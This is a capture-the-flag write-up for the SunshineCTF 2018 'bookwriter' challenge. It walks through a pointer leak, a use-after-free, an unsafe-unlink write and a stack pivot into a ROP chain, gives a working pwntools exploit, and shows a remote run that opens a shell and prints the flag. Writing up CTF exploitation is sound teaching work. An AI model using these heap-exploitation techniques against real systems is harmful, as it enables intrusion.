sunshine CTF 2018 - bookwriter
I just invented the printing press, but my competitor developed a machine called BookWriter to assist with writing books. His machine allows you to write pages in any order you want, remove pages you don’t want, and then publish the entire book. This new invention will bury my business!
I’d like you to do what you can to destroy his new machine. If you take over control of BookWriter and give me evidence, I’ll give you a reward!
nc chal1.sunshinectf.org 20002
Author: hackucf_kcolley
Attachment: bookwriter bookwriter.c libpwnableharness32.so libc xpl.py
Welcome to BookWriter!
A new, blank book has been created for you.
Page number 1449408224:
COVER
What do you want to do?
1. Flip to the previous page
2. Flip to the next page
3. Insert a new page after this one
4. Remove this page
5. Publish the book
0. Discard changes and quit BookWriter
That page number already looks intriguing, just doing a p/x
in gdb on it already shows something interesting, but where does this come from?
Book* Book_create(void) {
Book* book = malloc(sizeof(*book));
book->current_page = &g_cover;
return book;
}
...
bool menu_input(Book* book, char* line, size_t line_size) {
printf("\nPage number %u:\n\n%s\n", (unsigned)book->current_page, book->current_page->text);
printf(
"\n"
So, when the book gets initially created, current_page will point to g_cover
(which is an address on bss
). Thus, the page number shown in the first menu_input
can be used to leak an address to get around pie
.
#!/usr/bin/python
from pwn import *
import sys
HOST = "chal1.sunshinectf.org"
PORT = 20002
def exploit(r):
r.recvuntil("Page number ")
PIELEAK = int(r.recvuntil(":", drop=True))
e.address = PIELEAK - 0x26e0
r.recvuntil(">")
log.info("PIE leak : %s" % hex(PIELEAK))
log.info("PIE : %s" % hex(e.address))
r.interactive()
return
if __name__ == "__main__":
e = ELF("./bookwriter")
libc = ELF("./bookwriter-libc.so")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./bookwriter", env={"LD_PRELOAD":"./bookwriter-libc.so"})
pause()
exploit(r)
[*] PIE leak : 0x565b26e0
[*] PIE : 0x565b0000
Since book->current_page
will always point to the address of the current page, we can also use the page number for leaking heap
.
Just create a page, which will get malloc
ed on the heap, and the page number will show its address also.
def insert_page(content):
r.sendline("3")
r.recvline()
r.sendline(content)
r.sendline("END")
r.recvuntil("Page number ")
HEAP = int(r.recvuntil(":", drop=True))
r.recvuntil("> ")
return HEAP
...
HEAP = insert_page("A"*(0x40-4))
[*] HEAP leak : 0x56a9a0b0
Ok, easy leaks out of the way.
The next attack vector is an uaf
bug in removing pages:
void BookPage_destroy(BookPage* self) {
if(!self || self == &g_cover) {
return;
}
// Doubly linked list node unlink
BookPage* prev = self->prev;
BookPage* next = self->next;
prev->next = next;
next->prev = prev;
free(self->text);
free(self);
}
...
case 4:
// Remove this page from the book
BookPage_destroy(book->current_page);
break;
For one, this looks pretty much like unsafe unlink
, so we might abuse this later on. But for now, we can observe, that the current page gets free
d, but book->current_page
will still point to the freed chunk.
struct BookPage {
char* text;
BookPage* prev;
BookPage* next;
};
A page is a chunk of size 0x10
, so we could now just create a new page with content of that size, which will overwrite the page metadata. With this we can control the text
pointer and also the prev
pointer.
We can use this to leak an arbitrary address.
- Create two pages
- Flip to previous page
- Remove the page
- Create another page with
text
pointing to the address we want to leak - Since this will create a new page, which is inserted after our currently freed page (whose metadata we just overwrite), flip to previous page again
- Read the content of the page (
text
)
Since, we’ll be leaking a lot to get this stuff also working on the remote machine, let’s generalize it
def leak_addr(addr, len=4):
insert_page("A"*50)
insert_page("A"*50)
flip_prev()
remove_this()
payload = p32(addr)
payload += p8(0)
insert_page(payload)
flip_prev()
r.sendline()
r.recvuntil(":")
LEAK = u32(r.recvuntil("What", drop=True).split("\n")[2][:len].rjust(4, "\x00"))
r.recvuntil("> ")
return LEAK
Armed with this, we can start leaking some more interesting addresses.
But to know, which values will be useful to us, let’s first think about, how this binary can be exploited at all.
// Doubly linked list node unlink
BookPage* prev = self->prev;
BookPage* next = self->next;
prev->next = next;
next->prev = prev;
From our leak, we know, that we can overwrite page metadata, by adding a new page after removing the current page.
Actually we can control the text
and prev
pointer for it.
prev->next = next;
Since, we’re controlling prev
, we can then write next
(pointing to the following page) to an arbitrary address.
_IO_file
would be a good target for this, but while this worked with my local libc, it stopped working when using the provided libc, so I trashed my exploit and went another way…
gdb-peda$ x/10i 0x5662bf96
0x5662bf96 <main+87>: add esp,0x20
0x5662bf99 <main+90>: lea esp,[ebp-0x8]
0x5662bf9c <main+93>: pop ecx
0x5662bf9d <main+94>: pop ebx
0x5662bf9e <main+95>: pop ebp
0x5662bf9f <main+96>: lea esp,[ecx-0x4]
0x5662bfa2 <main+99>: ret
When you’ll publish
the book, it will print out the pages, and return to main.
In main
it will pop ecx
from the stack, and put esp to ecx-0x4
.
So, if we’d be able to overwrite the address, which get’s popped into ecx
we could control esp.
prev->next = next;
Right, we can store the stack address into prev (-0x4
). unlink
would then put the address of the next page there, pivoting the stack onto the heap right into our page. We’ll just have to prepare a ropchain waiting there, giving us a shell.
As it turns out, it’s not that easy to get the correct stack address when ASLR
kicks in.
Normally you would just leak __environ
and calculate the offset to the stack address, but this didn’t work at all in this challenge (not sure if it was due to pwnableharness
). The offset always differs, so no chance.
This took me way longer than expected, but after searching for a stack address anywhere
in despair, I opted to leak ld
, which contained a proper stack address.
LDLEAK = leak_addr(e.address + 0x25e0)
ECX = leak_addr(LDLEAK - 0x8)
[*] LD LEAK : 0xf7724904
[*] ECX : 0xff91453c
This one remained stable even with ASLR
, so now we can prepare a fake page on the heap, together with a ropchain and trigger an unlink to overwrite the value for ecx
.
log.info("Insert book page with page metadata pointing to ECX (in main ret)")
payload1 = p32(HEAP - 0x1050)
payload1 += p32(ECX-0xbc-8) # Target address to overwrite with chunk
payload1 += p32(HEAP - 0xf90)
payload1 += "\x00"*(0x40-4-len(payload1))
ID1 = insert_page(payload1)
ID2 = insert_page("C"*(0x40-4))
ID3 = insert_page("\x00"*316)
log.info("Insert book page with ropchain")
POP4RET = e.address + 0x1008
POPESI = libc.address + 0x00017828
ONE = libc.address + 0x3ac5c
payload = "A"*188
payload += p32(POP4RET)
payload += p32(1)
payload += p32(2)
payload += p32(3)
payload += p32(4)
payload += p32(POPESI)
payload += p32(libc.address + 0x1b2000)
payload += p32(ONE)
ID4 = insert_page(payload)
The first page just serves as a fake page (it isn’t referenced anywhere until now), which we can use for unlink
later on.
The last page just contains the ropchain, we want to execute later on.
log.info("Remove page and overwrite page metadata pointing to our fake page")
flip_prev()
flip_prev()
remove_this()
payload = p32(ID4) # text
payload += p32(HEAP + 0x1ec - 4) # prev
payload += p16(0)
insert_page(payload)
log.info("Remove fake page to overwrite ECX with pointer to ropchain")
flip_prev()
flip_prev()
remove_this()
And finally we’re using unlink
for something useful.
- Remove the current page
- Insert another page, overwriting the metadata of the previous page
- Flip to previous, so we’re in the page again, whose metadata we just overwrote
- Flip again to previous, to get into our fake page (whose
prev
is now pointing to thestack
).
Now removing this page, will trigger
prev->next = next;
finally writing the address of our ropchain chunk to the address, which will get popped into ecx
later on.
log.info("Publish to trigger shell")
publish()
r.interactive()
And there it goes, printing the pages, getting our heap address into ecx
, loading it into esp
, pivoting the stack on the heap, executing the ropchain.
payload = "A"*188
payload += p32(POP4RET)
payload += p32(1)
payload += p32(2)
payload += p32(3)
payload += p32(4)
payload += p32(POPESI)
payload += p32(libc.address + 0x1b2000)
payload += p32(ONE)
We’ll just have to keep in mind, that the ropchain
page also gets malformed by the unlink, putting a stack address in it. Thus the pop4
gadget at the start, to get those out of the way.
esi
was also filled with crap, and one_gadget
wanted to have it point to rw
section of libc, so we’ll just set it manually and call one_gadget
.
I had to fix up some heap addresses when going remote, since addresses seemed to be off, but we can reuse the leak_addr
function for finding our payloads on heap again.
And finally, after all addresses were fixed up:
python xpl.py 1
[*] '/vagrant/Challenges/sunshine/pwn/bookwriter/bookwriter'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RPATH: '/usr/local/lib:$ORIGIN'
[*] '/vagrant/Challenges/sunshine/pwn/bookwriter/bookwriter-libc.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chal1.sunshinectf.org on port 20002: Done
[*] PIE leak : 0x566456e0
[*] PIE : 0x56643000
[*] HEAP leak : 0x567300c8
[*] LIBC leak : 0xf764c670
[*] LIBC : 0xf7603000
[*] ENVIRON : 0x5672f008
[*] LD LEAK : 0xf77ea904
[*] ECX : 0xffc2961c
[*] ONE : 0xf763dc5c
[*] Insert book page with page metadata pointing to ECX (in main ret)
[*] Insert book page with ropchain
[*] Remove page and overwrite page metadata pointing to our fake page
[*] Remove fake page to overwrite ECX with pointer to ropchain
[*] Paused (press any to continue)
[*] Publish to trigger shell
[*] Switching to interactive mode
Page 1449416416:
COVER
Page 1450377416:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Page 1450377560:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ls
bookwriter
flag.txt
$ cat flag.txt
sun{pl34s3_st0p_t34r1ng_p4g3s_0ut_0f_th3_b00k!}